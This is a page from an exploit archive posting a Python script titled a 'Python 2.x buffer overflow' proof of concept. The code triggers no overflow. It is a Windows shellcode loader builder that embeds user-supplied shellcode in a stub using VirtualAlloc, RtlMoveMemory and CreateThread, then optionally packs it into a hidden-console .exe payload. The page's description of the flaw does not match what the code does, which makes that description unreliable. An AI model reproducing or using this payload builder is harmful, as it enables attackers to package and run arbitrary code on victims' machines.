what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Python 2.x Buffer Overflow

Python 2.x Buffer Overflow
Posted Jan 23, 2017
Authored by sultan albalawi, Chaitanya Haritash

Python version 2.x suffers from a buffer overflow in the DecodeAdpcmImaQT function in the ctypes module.

tags | exploit, overflow, python
SHA-256 | 95cd9741764bd11e16c16945a7122ba1f570f9a6913dad64ad19a68830a3cdc8

Python 2.x Buffer Overflow

Change Mirror Download
#!/usr/bin/env python

###
#Exploit : Python 2.x Buffer Overflow POC
#Tested on : Windows XP , Windows 7
#Authors : Sultan Albalawi & Chaitanya [@bofheaded]
#Discovery date : 21/jan/2017
#GitHub : https://github.com/ChaitanyaHaritash/My-Exploits/blob/master/python2.x_bof.py
#Video : https://youtu.be/hcc6Y55PWBg
#Image : https://postimg.org/image/dn5x3ww9v/
###

###
# Usage ::::
###
#1. Run exploit.py
#2. Save your shellcode into some text file
#3. Input Path of text file containing shellcode
#4. The .py file will be generated with shellcode.
#5. *Optional - Attacker just need to select option 'y' in running code.. and can have .exe payload from .py code generated :)

###
# NOTE ::::
###
#pyinstaller must be installed if user wants exe payload from python payload generated initially
#This exploit is windows compatible :)

#calc.exe shellcode =>
#http://pastebin.com/vBssgg99

import time,shutil,os,sys
if os.name == 'posix':
print "Sorry this exploit is not compatible to linux :( "
exit()
else:

banner = """
Python 2.x Buffer Overflow POC
Authors : Sultan Albalawi & Chaitanya [@bofheaded]
Susupcious Shell Activity [SSA]
"""
print banner
class make:
def __init__(self,):
print ""
def fii (self,):
print ""
if __name__ == '__main__':

shell = str(raw_input('Input Path To Your shellcode.txt file >> '))

txt = open(shell)
myshell = txt.read()
raw = """
import ctypes
ban=10
for i in range(ban):
print "|/"*i
shellcode = bytearray("""+myshell+""")
myci = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(myci),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(myci),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
"""

f = open ('stub.py' , 'w')
f.write(raw)
f.close()
print "done !"

build_exe = str(raw_input('Would You like to have an executable payload ? (y|n)>> '))
if build_exe == 'y':
os.system('C:\Python27\Scripts\pyinstaller --noconsole --onefile stub.py')
print "Please Wait ...."
time.sleep(2)
else:
print ('byee')

make()
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close